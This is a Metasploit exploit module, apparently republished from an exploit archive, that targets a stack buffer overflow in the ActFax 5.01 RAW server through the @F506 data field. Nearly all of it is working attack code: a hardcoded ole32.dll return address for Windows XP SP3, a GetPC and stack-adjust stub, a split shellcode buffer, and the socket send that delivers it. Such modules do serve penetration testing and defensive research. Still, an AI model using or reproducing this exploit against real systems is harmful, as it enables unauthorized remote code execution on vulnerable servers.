ActFax 5.01 RAW Server Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
include Msf::Exploit::Remote::Tcp  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'ActFax 5.01 RAW Server Buffer Overflow',  
'Description' => %q{  
This module exploits a vulnerability in ActFax Server 5.01 RAW server. The RAW Server can   
be used to transfer fax messages to the fax server without any underlying protocols. To   
note significant fields in the fax being transfered, like fax number and receipient, you can   
use ActFax data fields. @F506,@F605, and @F000 are all data fields that are vulnerable.   
For more information refer to the 'data fields' section of the help menu in ActFax. This has   
been fixed in a beta version which wont be pushed to release until May 2013.   
Beta is here: http://www.actfax.com/download/beta/actfax_setup_en.exe  
  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Craig Freyman @cd1zz', #discovery and msf  
'corelanc0d3r', #lots of help with getpc routine => https://www.corelan-training.com/index.php/training/corelan-live  
],  
'References' =>  
[  
[ 'OSVDB', '' ],  
[ 'CVE', '' ],  
[ 'URL', 'http://www.pwnag3.com/2013/02/actfax-raw-server-exploit.html' ]  
],  
'DefaultOptions' =>  
{  
'ExitFunction' => 'none',   
'InitialAutoRunScript' => 'migrate -f',  
},  
'Platform' => 'win',  
'Payload' =>  
{  
'BadChars' => "\x00\x40",  
'DisableNops' => true,  
'Space' => 1000,  
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,  
'EncoderOptions' => { 'BufferRegister' => 'EBX' }  
  
},  
  
'Targets' =>  
[  
[ 'Windows XP SP3',  
{  
'Ret' => 0x775e3422, #ole32.dll v5.1.2600.6168  
'Offset' => 1024  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Feb 5 2013',  
'DefaultTarget' => 0))  
  
register_options([Opt::RPORT(0)], self.class)  
  
end  
  
def exploit  
  
connect   
  
getpc = "\xe8\xff\xff\xff\xff\xc3\x5b" #ebx| call + 4:   
add_ebx = "\x83\xc3\x20" #add ebx,32   
fill = "\x4b" * 5 #inc ebx 5 times  
fill2 = "\x90" * 17   
stack_adjust = "\x81\xc4\x24\xfa\xff\xff" #add esp,-1500  
shell_chunk1 = payload.encoded[0,522]  
shell_chunk2 = payload.encoded[522,payload.encoded.length-522]   
  
buffer = ""  
buffer << shell_chunk2  
buffer << rand_text_alpha(target['Offset']-buffer.length)  
buffer << [target.ret].pack('V')  
buffer << stack_adjust   
buffer << getpc   
buffer << add_ebx   
buffer << fill   
buffer << fill2   
buffer << shell_chunk1  
  
print_status("Trying target #{target.name}...")  
sock.put("@F506 "+buffer+"@\r\npwnag3\r\n\r\n")  
  
handler  
disconnect  
  
end  
end  
  
`